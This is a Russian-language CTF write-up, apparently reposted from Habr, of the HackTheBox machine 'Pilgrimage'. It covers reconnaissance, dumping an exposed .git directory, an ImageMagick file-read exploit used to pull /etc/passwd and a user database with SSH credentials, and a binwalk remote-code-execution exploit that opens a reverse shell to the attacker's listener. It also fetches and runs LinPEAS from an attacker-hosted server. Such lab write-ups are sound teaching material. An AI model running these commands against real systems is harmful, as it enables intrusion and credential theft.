class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u041f\u0440\u0438\u0432\u0435\u0442, \u0425\u0430\u0431\u0440, \u043d\u0430 \u0441\u0432\u044f\u0437\u0438 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u044f \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 AP Security! \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u043f\u0440\u043e\u0439\u0434\u0435\u043c \u0441 \u0432\u0430\u043c\u0438 Linux-\u043c\u0430\u0448\u0438\u043d\u0443 \u043d\u0430 <strong>HackTheBox<\/strong> \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c <strong>Pilgrimage<\/strong>.<\/p>\n<figure class=\"full-width\"><\/figure>\n<blockquote>\n<p><strong>\u0414\u0438\u0441\u043a\u043b\u0435\u0439\u043c\u0435\u0440:  \u0432\u0441\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u0438 \u0442\u0435\u0445\u043d\u0438\u043a\u0438, \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u0441\u0442\u0430\u0442\u044c\u0435, \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u044b \u0432 \u0443\u0447\u0435\u0431\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445.<\/strong><\/p>\n<\/blockquote>\n<h3>\u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0430<\/h3>\n<p>\u0414\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u043f\u0440\u043e\u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Nmap:<\/p>\n<pre><code>nmap -sC -sV -p- -T4 10.10.11.219<\/code><\/pre>\n<figure class=\"full-width\"><\/figure>\n<p>\u041d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0432\u0435 \u0441\u043b\u0443\u0436\u0431\u044b: ssh \u0438 http. \u0414\u043e\u0431\u0430\u0432\u0438\u043c ip-\u0430\u0434\u0440\u0435\u0441 \u043c\u0430\u0448\u0438\u043d\u044b \u0432 <code>\/etc\/hosts<\/code> \u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0437\u0430\u0439\u0442\u0438 \u043d\u0430 \u0432\u0435\u0431-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443:<\/p>\n<pre><code>10.10.11.219 pilgrimage.htb<\/code><\/pre>\n<figure class=\"full-width\"><\/figure>\n<p>\u0421\u0435\u0440\u0432\u0438\u0441 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439. \u041d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u0432\u0440\u043e\u0434\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e. \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c <code>dirsearch<\/code> \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439:<\/p>\n<pre><code>dirsearch -u http:\/\/pilgrimage.htb<\/code><\/pre>\n<figure class=\"full-width\"><\/figure>\n<p>\u0417\u0430\u043c\u0435\u0442\u0438\u043c \u0441\u0440\u0435\u0434\u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 <code>\/.git<\/code>. \u0412\u044b\u043a\u0430\u0447\u0430\u0435\u043c \u0432\u0441\u0435 \u0444\u0430\u0439\u043b\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u044b <a href=\"https:\/\/github.com\/arthaud\/git-dumper\" rel=\"noopener noreferrer nofollow\"><strong>git-dumper<\/strong><\/a>:<\/p>\n<pre><code>python3 git_dumper.py http:\/\/pilgrimage\/.git ~\/pilgrimage.htb<\/code><\/pre>\n<figure class=\"full-width\"><\/figure>\n<p>\u0421\u0440\u0435\u0434\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0431\u0443\u0434\u0443\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0444\u0430\u0439\u043b\u044b:<\/p>\n<figure class=\"full-width\"><\/figure>\n<h3>\u0422\u043e\u0447\u043a\u0430 \u0432\u0445\u043e\u0434\u0430<\/h3>\n<p>\u0417\u0430\u043c\u0435\u0442\u0438\u043c \u0443\u0442\u0438\u043b\u0438\u0442\u0443 <strong>magick<\/strong>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u043c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439. \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0435\u0435, \u0447\u0442\u043e\u0431\u044b \u0443\u0437\u043d\u0430\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u043e\u0433\u0443\u0433\u043b\u0438\u0432, \u043d\u0430\u0439\u0434\u0435\u043c <a href=\"https:\/\/github.com\/Sybil-Scan\/imagemagick-lfi-poc\" rel=\"noopener noreferrer nofollow\">\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442<\/a> \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 <strong>magick<\/strong>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0421\u043a\u0430\u0447\u0430\u0435\u043c \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442:<\/p>\n<pre><code>python3 generate.py -f \"\/etc\/passwd\" -o exploit.png<\/code><\/pre>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u043c\u044b \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443, \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043c \u0435\u0435 \u043d\u0430 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0438\u0441\u0435. \u0422\u0435\u043f\u0435\u0440\u044c, \u0447\u0442\u043e\u0431\u044b \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0440\u0430\u0431\u043e\u0442\u044b \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u043d\u0430\u0448\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435. \u0427\u0435\u0440\u0435\u0437 <strong>Burp Suite<\/strong> \u043e\u0442\u0441\u043b\u0435\u0434\u0438\u043c \u0432 \u043a\u0430\u043a\u0443\u044e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432\u0441\u0435 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:<\/p>\n<figure class=\"full-width\"><\/figure>\n<\/p>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f <code>wget<\/code>, \u0447\u0442\u043e\u0431\u044b \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435:<\/p>\n<pre><code>wget http:\/\/pilgrimage.htb\/shrunk\/654a5d9ea01d4.png<\/code><\/pre>\n<figure class=\"full-width\"><\/figure>\n<p>\u0414\u043e\u0441\u0442\u0430\u043d\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u044b <code>identify<\/code>:<\/p>\n<pre><code>identify -verbose 654a5d9ea01d4.png<\/code><\/pre>\n<p>\u0421\u0440\u0435\u0434\u0438 \u0432\u0441\u0435\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0431 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0438 \u0443\u0432\u0438\u0434\u0438\u043c \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432 hex \u0442\u0435\u043a\u0441\u0442. \u041f\u043e\u043c\u0435\u0441\u0442\u0438\u043c \u0435\u0433\u043e \u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b \u0438 \u0440\u0430\u0441\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>xxd<\/code>:<\/p>\n<pre><code>cat hex.txt | xxd -r -p<\/code><\/pre>\n<figure class=\"full-width\"><\/figure>\n<p>\u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442! \u041a\u0430\u043a \u0436\u0435 \u043d\u0430\u043c \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u0438\u043c, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0441\u0442\u0430\u0442\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u043d\u0430\u043c \u0434\u0430\u043d\u043d\u044b\u0435? \u041f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044f \u0444\u0430\u0439\u043b\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u044b \u0432\u044b\u043a\u0430\u0447\u0438\u0432\u0430\u043b\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <strong>git-dumper<\/strong>, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043c \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0412\u043c\u0435\u0441\u0442\u043e <code>\/etc\/passwd<\/code> \u0443\u043a\u0430\u0436\u0435\u043c \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e \u0441 \u0431\u0430\u0437\u043e\u0439 \u0434\u0430\u043d\u043d\u044b\u0445:<\/p>\n<pre><code>python3 generate.py -f \"\/var\/db\/pilgrimage\" -o sql.png<\/code><\/pre>\n<figure class=\"full-width\"><\/figure>\n<p>\u0422\u0430\u043a\u0436\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043d\u0430 \u0441\u0430\u0439\u0442, \u0432\u044b\u0433\u0440\u0443\u0437\u0438\u043c \u0435\u0433\u043e \u0441 <code>wget<\/code> \u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f Emily \u043c\u044b \u0443\u0436\u0435 \u0432\u0438\u0434\u0435\u043b\u0438 \u0440\u0430\u043d\u0435\u0435. \u0410 \u044d\u0442\u043e \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0432\u0441\u0435\u0433\u043e \u043a\u0440\u0435\u0434\u044b \u0434\u043b\u044f ssh. \u0427\u0442\u043e\u0431\u044b \u0443\u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u0438\u0442\u044c\u0441\u044f \u0432 \u044d\u0442\u043e\u043c, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u043c\u0430\u0448\u0438\u043d\u0435:<\/p>\n<pre><code>ssh emily@10.10.11.219<\/code><\/pre>\n<figure class=\"full-width\"><\/figure>\n<p>\u0423\u0441\u043f\u0435\u0448\u043d\u043e! \u0417\u0434\u0435\u0441\u044c \u0438 \u0431\u0443\u0434\u0435\u0442 \u043b\u0435\u0436\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <strong>user.txt<\/strong>.<\/p>\n<h3>\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439<\/h3>\n<p>\u0414\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0443\u0442\u0438\u043b\u0438\u0442\u043e\u0439 <strong>LinPEAS<\/strong>. \u0414\u043b\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0443 \u0442\u0430\u043a\u0436\u0435 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f <code>python3 http.server<\/code> \u0438 <code>wget<\/code>:<\/p>\n<pre><code>python3 -m http.server 80<\/code><\/pre>\n<pre><code>wget http:\/\/10.10.16.44\/linpeas.sh<\/code><\/pre>\n<pre><code>chmod +x linpeas.sh<\/code><\/pre>\n<pre><code>.\/linpeas.sh<\/code><\/pre>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0432 \u0432\u0441\u0435 \u043f\u043e\u0434\u0441\u0432\u0435\u0447\u0435\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043c \u043d\u0438\u0447\u0435\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e. \u041e\u0434\u043d\u0430\u043a\u043e \u0443\u0432\u0438\u0434\u0438\u043c \u0444\u0430\u0439\u043b \u0441 \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c <a href=\"http:\/\/malwarescan.sh\" rel=\"noopener noreferrer nofollow\"><strong>malwarescan.sh<\/strong><\/a>. \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0435\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0414\u0430\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0444\u0430\u0439\u043b\u044b \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0443\u0442\u0438\u043b\u0438\u0442\u044b <strong>binwalk<\/strong>. \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0435\u0435, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u043e\u0434 \u0434\u0430\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u0435\u0441\u0442\u044c <a href=\"https:\/\/www.exploit-db.com\/exploits\/51249\" rel=\"noopener noreferrer nofollow\"><strong>\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442<\/strong><\/a>, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430.<\/p>\n<pre><code>python3 51249.py image.png 10.10.16.44 8000<\/code><\/pre>\n<p>\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435, \u0430\u0434\u0440\u0435\u0441 \u043d\u0430\u0448\u0435\u0439 \u043c\u0430\u0448\u0438\u043d\u044b \u0438 \u043f\u043e\u0440\u0442, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435.<\/p>\n<p>\u0421\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0442\u0430\u043a\u0436\u0435 \u043f\u0435\u0440\u0435\u043a\u0438\u0434\u044b\u0432\u0430\u0435\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>wget<\/code>:<\/p>\n<pre><code>wget http:\/\/10.10.16.44\/binwalk_exploit.png<\/code><\/pre>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c <code>netcat<\/code> \u0438 \u0441\u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0432 <code>\/var\/www\/pilgrimage.htb\/shrunk\/<\/code>:<\/p>\n<pre><code>nc -lvnp 8000<\/code><\/pre>\n<pre><code>cp binwalk_exploit.png \/var\/www\/pilgrimage.htb\/shrunk\/exploit.png<\/code><\/pre>\n<figure class=\"full-width\"><\/figure>\n<p>\u041c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u0430!<\/p>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/785832\/\"> https:\/\/habr.com\/ru\/articles\/785832\/<\/a><br \/><\/br><\/br><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-365080","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/365080","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=365080"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/365080\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=365080"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=365080"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=365080"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}